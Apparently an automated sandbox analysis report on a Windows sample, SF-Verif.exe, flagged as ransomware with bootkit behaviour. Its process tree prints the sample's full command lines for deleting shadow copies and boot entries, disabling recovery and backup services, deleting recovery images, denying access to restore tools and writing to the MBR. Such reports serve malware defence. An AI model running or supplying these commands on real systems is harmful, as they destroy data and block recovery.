ef197fdbccfef8c5bd5e3926e8d03ee3bf73509fb73342e8ad444cb5a93979ec

Analysis

user interaction
yes
max time kernel
1s
max time network
151s
platform
windows10-ltsc_2021_x64
resource
win10ltsc2021-20260513-fr
resource tags

arch:x64arch:x86image:win10ltsc2021-20260513-frlocale:fr-fros:windows10-ltsc_2021-x64systemwindows
submitted
24/05/2026, 17:49

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

Reason

Machine shutdown

General

Target
SF-Verif.exe
Size 665KB
Sample260524-wd91zafy21
SHA256 ef197fdbccfef8c5bd5e3926e8d03ee3bf73509fb73342e8ad444cb5a93979ec
MD5 b55acfde560de9d62144254ae46db717
SHA1 bece229cf43ab9b99f79f07e0c1698557791d59d
SHA512 33435cd8f8e390065746d1052cd75fb2b1b79b9a24caf8dc4aba679f105d0c5c11ec15cca654bacfd93719bd735861b738c17b83dca764c1fcd3b6700b0830c6
SSDEEP 6144:MDSBu7AkwYrNPB/KG7KPTeZwLoO9r/dRJddxgkUFHYxgIaRth86cEcm:hdYrNtKGGLeaBjRJdkkUFhvth83EH
TLSH
T1F9E4087AF71219ADC05F437B85A5C7E196902A85F33465B702B48E537AE34C24F2AFC2
MD5 SHA1 SHA512 SSDEEP TLSH

Score

9^/10

bootkit defense_evasion discovery evasion execution impact persistence ransomware

Malware Config

Signatures

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Modifies boot configuration data using bcdedit 1 TTPs 22 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
2148	bcdedit.exe
5080	bcdedit.exe
2284	bcdedit.exe
3936	bcdedit.exe
3704	bcdedit.exe
3832	bcdedit.exe
3660	bcdedit.exe
3664	bcdedit.exe
5116	bcdedit.exe
4908	bcdedit.exe
3144	bcdedit.exe
4696	bcdedit.exe
4300	bcdedit.exe
2680	bcdedit.exe
5940	bcdedit.exe
5232	bcdedit.exe
4672	bcdedit.exe
5980	bcdedit.exe
2148	bcdedit.exe
5632	bcdedit.exe
4248	bcdedit.exe
2312	bcdedit.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002

Modifies file permissions 1 TTPs 5 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
2572	icacls.exe
4200	icacls.exe
5004	icacls.exe
1816	icacls.exe
2344	icacls.exe

Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Indicator Removal: Clear Persistence 1 TTPs 3 IoCs

Clear artifacts associated with previously established persistence like scheduletasks on a host.

defense_evasion

Clear Persistence

T1070.009

pid	Process
3980	cmd.exe
1156	cmd.exe
4840	cmd.exe

Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
defense_evasion

File Deletion
T1070.004

Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

Bootkits write to the MBR to gain persistence at a level below the operating system.

bootkit persistence

Bootkit

T1542.003

description	ioc	Process
File opened for modification	\??\PhysicalDrive0	SF-Verif.exe

Launches sc.exe 14 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
3652	sc.exe
2028	sc.exe
2036	sc.exe
3944	sc.exe
304	sc.exe
1620	sc.exe
2128	sc.exe
2356	sc.exe
2124	sc.exe
3308	sc.exe
2596	sc.exe
2184	sc.exe
3664	sc.exe
2040	sc.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
4516	msedge.exe

Interacts with shadow copies 3 TTPs 4 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
2492	vssadmin.exe
4008	vssadmin.exe
740	vssadmin.exe
3372	vssadmin.exe

Kills process with taskkill 23 IoCs

defense_evasion

pid	Process
5468	taskkill.exe
1644	taskkill.exe
4844	taskkill.exe
5892	taskkill.exe
5984	taskkill.exe
820	taskkill.exe
1644	taskkill.exe
5096	taskkill.exe
700	taskkill.exe
6040	taskkill.exe
5268	taskkill.exe
4976	taskkill.exe
3060	taskkill.exe
5796	taskkill.exe
4664	taskkill.exe
5964	taskkill.exe
1696	taskkill.exe
6084	taskkill.exe
6016	taskkill.exe
1220	taskkill.exe
4792	taskkill.exe
184	taskkill.exe
480	taskkill.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
5168	reg.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2216 wrote to memory of 2816	2216	SF-Verif.exe	83
PID 2216 wrote to memory of 2440	2216	SF-Verif.exe	85
PID 2440 wrote to memory of 2148	2440	cmd.exe	87
PID 2216 wrote to memory of 2004	2216	SF-Verif.exe	88
PID 2004 wrote to memory of 5080	2004	cmd.exe	90
PID 2216 wrote to memory of 2120	2216	SF-Verif.exe	91

Views/modifies file attributes 1 TTPs 3 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
2816	attrib.exe
1460	attrib.exe
5440	attrib.exe

C:\Users\Admin\AppData\Local\Temp\SF-Verif.exe
"C:\Users\Admin\AppData\Local\Temp\SF-Verif.exe"
1⤵
- Writes to the Master Boot Record (MBR)
- Suspicious use of WriteProcessMemory
PID:2216
- C:\Windows\SYSTEM32\attrib.exe
  attrib +h +s "C:\Users\Admin\AppData\Local\Temp\SF-Verif.exe"
  2⤵
  - Views/modifies file attributes
  PID:2816
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /set {default} bootstatuspolicy ignoreallfailures
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2440
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy ignoreallfailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2148
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /set {default} recoveryenabled No
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2004
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:5080
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /delete {default} /f
  2⤵
  PID:2120
- - C:\Windows\system32\bcdedit.exe
    bcdedit /delete {default} /f
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2284
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /delete {bootmgr} /f
  2⤵
  PID:672
- - C:\Windows\system32\bcdedit.exe
    bcdedit /delete {bootmgr} /f
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:3936
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /delete {current} /f
  2⤵
  PID:3808
- - C:\Windows\system32\bcdedit.exe
    bcdedit /delete {current} /f
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:3704
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /delete {memdiag} /f
  2⤵
  PID:2112
- - C:\Windows\system32\bcdedit.exe
    bcdedit /delete {memdiag} /f
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:3832
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /set {globalsettings} advancedoptions false
  2⤵
  PID:1680
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {globalsettings} advancedoptions false
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:3660
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /set {globalsettings} optionsedit false
  2⤵
  PID:1992
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {globalsettings} optionsedit false
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:3664
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c reagentc /disable
  2⤵
  PID:4400
- - C:\Windows\system32\ReAgentc.exe
    reagentc /disable
    3⤵
    PID:1164
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wmic shadowcopy delete /nointeractive
  2⤵
  PID:3572
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic shadowcopy delete /nointeractive
    3⤵
    PID:2568
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c vssadmin delete shadows /all /quiet
  2⤵
  PID:4048
- - C:\Windows\system32\vssadmin.exe
    vssadmin delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:740
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c reagentc /disable 2>nul
  2⤵
  PID:3456
- - C:\Windows\system32\ReAgentc.exe
    reagentc /disable
    3⤵
    PID:3000
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c rd /s /q "C:\Recovery" 2>nul
  2⤵
  PID:4440
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c rd /s /q "%SystemDrive%\Recovery" 2>nul
  2⤵
  PID:3088
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c vssadmin delete shadows /all /quiet 2>nul
  2⤵
  PID:4532
- - C:\Windows\system32\vssadmin.exe
    vssadmin delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:3372
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wmic shadowcopy delete /nointeractive 2>nul
  2⤵
  PID:4032
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic shadowcopy delete /nointeractive
    3⤵
    PID:4928
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore" /v DisableConfig /t REG_DWORD /d 1 /f 2>nul
  2⤵
  PID:4772
- - C:\Windows\system32\reg.exe
    REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore" /v DisableConfig /t REG_DWORD /d 1 /f
    3⤵
    PID:2236
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore" /v DisableSR /t REG_DWORD /d 1 /f 2>nul
  2⤵
  PID:4012
- - C:\Windows\system32\reg.exe
    REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore" /v DisableSR /t REG_DWORD /d 1 /f
    3⤵
    PID:4512
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore" /v DisableSR /t REG_DWORD /d 1 /f 2>nul
  2⤵
  PID:2272
- - C:\Windows\system32\reg.exe
    REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore" /v DisableSR /t REG_DWORD /d 1 /f
    3⤵
    PID:2308
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c rd /s /q "C:\Windows\System32\Recovery" 2>nul
  2⤵
  PID:5116
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc config "wbengine" start= disabled 2>nul
  2⤵
  PID:1224
- - C:\Windows\system32\sc.exe
    sc config "wbengine" start= disabled
    3⤵
    - Launches sc.exe
    PID:2124
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc stop "wbengine" 2>nul
  2⤵
  PID:3680
- - C:\Windows\system32\sc.exe
    sc stop "wbengine"
    3⤵
    - Launches sc.exe
    PID:3308
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c del /f /q "%SystemRoot%\System32\ResetEngine.exe" 2>nul
  2⤵
  PID:2744
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c del /f /q "%SystemRoot%\System32\pbr.exe" 2>nul
  2⤵
  PID:4072
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c del /f /q "%SystemRoot%\System32\recenv.exe" 2>nul
  2⤵
  PID:4408
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc stop "wbengine" 2>nul
  2⤵
  PID:4836
- - C:\Windows\system32\sc.exe
    sc stop "wbengine"
    3⤵
    - Launches sc.exe
    PID:2596
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc config "wbengine" start= disabled 2>nul
  2⤵
  PID:5028
- - C:\Windows\system32\sc.exe
    sc config "wbengine" start= disabled
    3⤵
    - Launches sc.exe
    PID:2036
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc stop "SDRSVC" 2>nul
  2⤵
  PID:4452
- - C:\Windows\system32\sc.exe
    sc stop "SDRSVC"
    3⤵
    - Launches sc.exe
    PID:2184
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc config "SDRSVC" start= disabled 2>nul
  2⤵
  PID:2696
- - C:\Windows\system32\sc.exe
    sc config "SDRSVC" start= disabled
    3⤵
    - Launches sc.exe
    PID:3944
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc stop "VSS" 2>nul
  2⤵
  PID:2160
- - C:\Windows\system32\sc.exe
    sc stop "VSS"
    3⤵
    - Launches sc.exe
    PID:3664
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc config "VSS" start= disabled 2>nul
  2⤵
  PID:4140
- - C:\Windows\system32\sc.exe
    sc config "VSS" start= disabled
    3⤵
    - Launches sc.exe
    PID:2040
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc stop "swprv" 2>nul
  2⤵
  PID:744
- - C:\Windows\system32\sc.exe
    sc stop "swprv"
    3⤵
    - Launches sc.exe
    PID:304
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc config "swprv" start= disabled 2>nul
  2⤵
  PID:2896
- - C:\Windows\system32\sc.exe
    sc config "swprv" start= disabled
    3⤵
    - Launches sc.exe
    PID:3652
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc stop "vds" 2>nul
  2⤵
  PID:2864
- - C:\Windows\system32\sc.exe
    sc stop "vds"
    3⤵
    - Launches sc.exe
    PID:2028
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc config "vds" start= disabled 2>nul
  2⤵
  PID:4632
- - C:\Windows\system32\sc.exe
    sc config "vds" start= disabled
    3⤵
    - Launches sc.exe
    PID:1620
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc stop "Winmgmt" 2>nul
  2⤵
  PID:4816
- - C:\Windows\system32\sc.exe
    sc stop "Winmgmt"
    3⤵
    - Launches sc.exe
    PID:2128
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc config "Winmgmt" start= disabled 2>nul
  2⤵
  PID:4396
- - C:\Windows\system32\sc.exe
    sc config "Winmgmt" start= disabled
    3⤵
    - Launches sc.exe
    PID:2356
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows\CloudContent" /v DisableWindowsConsumerFeatures /t REG_DWORD /d 1 /f 2>nul
  2⤵
  PID:1448
- - C:\Windows\system32\reg.exe
    REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows\CloudContent" /v DisableWindowsConsumerFeatures /t REG_DWORD /d 1 /f
    3⤵
    PID:984
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c REG ADD "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v NoRepairOptions /t REG_DWORD /d 1 /f 2>nul
  2⤵
  PID:4928
- - C:\Windows\system32\reg.exe
    REG ADD "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v NoRepairOptions /t REG_DWORD /d 1 /f
    3⤵
    PID:696
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows\System" /v DisableAdvancedStartupOptions /t REG_DWORD /d 1 /f 2>nul
  2⤵
  PID:2236
- - C:\Windows\system32\reg.exe
    REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows\System" /v DisableAdvancedStartupOptions /t REG_DWORD /d 1 /f
    3⤵
    PID:4808
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Environment" /v WINREFLAGS /t REG_DWORD /d 0 /f 2>nul
  2⤵
  PID:3900
- - C:\Windows\system32\reg.exe
    REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Environment" /v WINREFLAGS /t REG_DWORD /d 0 /f
    3⤵
    PID:2676
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /set {default} bootmenupolicy standard 2>nul
  2⤵
  PID:4660
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootmenupolicy standard
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:5116
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /set {default} recoveryenabled No 2>nul
  2⤵
  PID:2124
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:4908
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /set {bootmgr} displaybootmenu no 2>nul
  2⤵
  PID:3364
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {bootmgr} displaybootmenu no
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:3144
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /set {bootmgr} timeout 0 2>nul
  2⤵
  PID:5112
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {bootmgr} timeout 0
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:4696
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /set {globalsettings} advancedoptions false 2>nul
  2⤵
  PID:3168
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {globalsettings} advancedoptions false
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:4300
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /set {globalsettings} optionsedit false 2>nul
  2⤵
  PID:564
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {globalsettings} optionsedit false
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2680
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c schtasks /delete /tn "\Microsoft\Windows\RecoveryEnvironment\VerifyWinRE" /f 2>nul
  2⤵
  - Indicator Removal: Clear Persistence
  PID:1156
- - C:\Windows\system32\schtasks.exe
    schtasks /delete /tn "\Microsoft\Windows\RecoveryEnvironment\VerifyWinRE" /f
    3⤵
    PID:2348
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c schtasks /delete /tn "\Microsoft\Windows\WindowsBackup\AutomaticBackup" /f 2>nul
  2⤵
  - Indicator Removal: Clear Persistence
  PID:4840
- - C:\Windows\system32\schtasks.exe
    schtasks /delete /tn "\Microsoft\Windows\WindowsBackup\AutomaticBackup" /f
    3⤵
    PID:3892
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c schtasks /delete /tn "\Microsoft\Windows\WindowsBackup\Windows Backup Monitor" /f 2>nul
  2⤵
  - Indicator Removal: Clear Persistence
  PID:3980
- - C:\Windows\system32\schtasks.exe
    schtasks /delete /tn "\Microsoft\Windows\WindowsBackup\Windows Backup Monitor" /f
    3⤵
    PID:3632
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c del /f /q "C:\sources\install.wim" 2>nul
  2⤵
  PID:3504
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c del /f /q "C:\sources\install.esd" 2>nul
  2⤵
  PID:3952
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c del /f /q "C:\Windows\System32\Recovery\winre.wim" 2>nul
  2⤵
  PID:1660
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c rd /s /q "C:\$WinREAgent" 2>nul
  2⤵
  PID:4044
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c rd /s /q "C:\Recovery" 2>nul
  2⤵
  PID:3540
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c del /f /q "F:\sources\install.wim" 2>nul
  2⤵
  PID:184
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c del /f /q "F:\sources\install.esd" 2>nul
  2⤵
  PID:2332
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c del /f /q "F:\Windows\System32\Recovery\winre.wim" 2>nul
  2⤵
  PID:1120
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c rd /s /q "F:\$WinREAgent" 2>nul
  2⤵
  PID:2908
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c rd /s /q "F:\Recovery" 2>nul
  2⤵
  PID:3576
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c icacls "C:\Windows\System32\ResetEngine.exe" /deny Everyone:(F) /T /C /Q 2>nul
  2⤵
  PID:2964
- - C:\Windows\system32\icacls.exe
    icacls "C:\Windows\System32\ResetEngine.exe" /deny Everyone:(F) /T /C /Q
    3⤵
    - Modifies file permissions
    PID:2572
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c icacls "C:\Windows\System32\pbr.exe" /deny Everyone:(F) /T /C /Q 2>nul
  2⤵
  PID:4864
- - C:\Windows\system32\icacls.exe
    icacls "C:\Windows\System32\pbr.exe" /deny Everyone:(F) /T /C /Q
    3⤵
    - Modifies file permissions
    PID:4200
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c icacls "C:\Windows\System32\recenv.exe" /deny Everyone:(F) /T /C /Q 2>nul
  2⤵
  PID:2540
- - C:\Windows\system32\icacls.exe
    icacls "C:\Windows\System32\recenv.exe" /deny Everyone:(F) /T /C /Q
    3⤵
    - Modifies file permissions
    PID:5004
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c icacls "C:\Windows\System32\rstrui.exe" /deny Everyone:(F) /T /C /Q 2>nul
  2⤵
  PID:3372
- - C:\Windows\system32\icacls.exe
    icacls "C:\Windows\System32\rstrui.exe" /deny Everyone:(F) /T /C /Q
    3⤵
    - Modifies file permissions
    PID:1816
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c icacls "C:\Windows\System32\reagentc.exe" /deny Everyone:(F) /T /C /Q 2>nul
  2⤵
  PID:4492
- - C:\Windows\system32\icacls.exe
    icacls "C:\Windows\System32\reagentc.exe" /deny Everyone:(F) /T /C /Q
    3⤵
    - Modifies file permissions
    PID:2344
- C:\Windows\SYSTEM32\attrib.exe
  attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe"
  2⤵
  - Views/modifies file attributes
  PID:1460
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument C:\Users\Admin\AppData\Local\Temp\music67.html
  2⤵
  PID:1316
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2ec,0x2f0,0x2f4,0x2e8,0x374,0x7ffa1058c188,0x7ffa1058c194,0x7ffa1058c1a0
    3⤵
    PID:3928
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=fr --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1924,i,15227061068305132150,8636975697354985945,524288 --field-trial-handle=2648,i,17282090024549458335,5437069427331267316,262144 --variations-seed-version --mojo-platform-channel-handle=2676 /prefetch:3
    3⤵
    - System Time Discovery
    PID:4516
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1636,i,16534006552562562420,9334700623412637620,262144 --field-trial-handle=2648,i,17282090024549458335,5437069427331267316,262144 --variations-seed-version --mojo-platform-channel-handle=2644 /prefetch:2
    3⤵
    PID:1620
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=fr --service-sandbox-type=service --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2252,i,15288603997252038687,4501596171747441638,524288 --field-trial-handle=2648,i,17282090024549458335,5437069427331267316,262144 --variations-seed-version --mojo-platform-channel-handle=2684 /prefetch:8
    3⤵
    PID:1100
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=fr --js-flags=--ms-user-locale=fr_FR --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3512,i,7576599488207586487,866543358139681696,2097152 --field-trial-handle=2648,i,17282090024549458335,5437069427331267316,262144 --variations-seed-version --mojo-platform-channel-handle=3564 /prefetch:1
    3⤵
    PID:696
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=fr --js-flags=--ms-user-locale=fr_FR --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3516,i,9577492388102368964,347327219072454838,2097152 --field-trial-handle=2648,i,17282090024549458335,5437069427331267316,262144 --variations-seed-version --mojo-platform-channel-handle=3568 /prefetch:1
    3⤵
    PID:4328
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=fr --js-flags=--ms-user-locale=fr_FR --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4192,i,11491321534409028406,2707561293122221758,2097152 --field-trial-handle=2648,i,17282090024549458335,5437069427331267316,262144 --variations-seed-version --mojo-platform-channel-handle=4420 /prefetch:1
    3⤵
    PID:540
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=fr --js-flags=--ms-user-locale=fr_FR --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4204,i,17777030089574918962,15829021612236781564,2097152 --field-trial-handle=2648,i,17282090024549458335,5437069427331267316,262144 --variations-seed-version --mojo-platform-channel-handle=4424 /prefetch:2
    3⤵
    PID:4200
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=fr --js-flags=--ms-user-locale=fr_FR --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --always-read-main-dll --metrics-shmem-handle=4368,i,2045050771117850074,7062170667646778846,2097152 --field-trial-handle=2648,i,17282090024549458335,5437069427331267316,262144 --variations-seed-version --mojo-platform-channel-handle=4436 /prefetch:1
    3⤵
    PID:2068
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
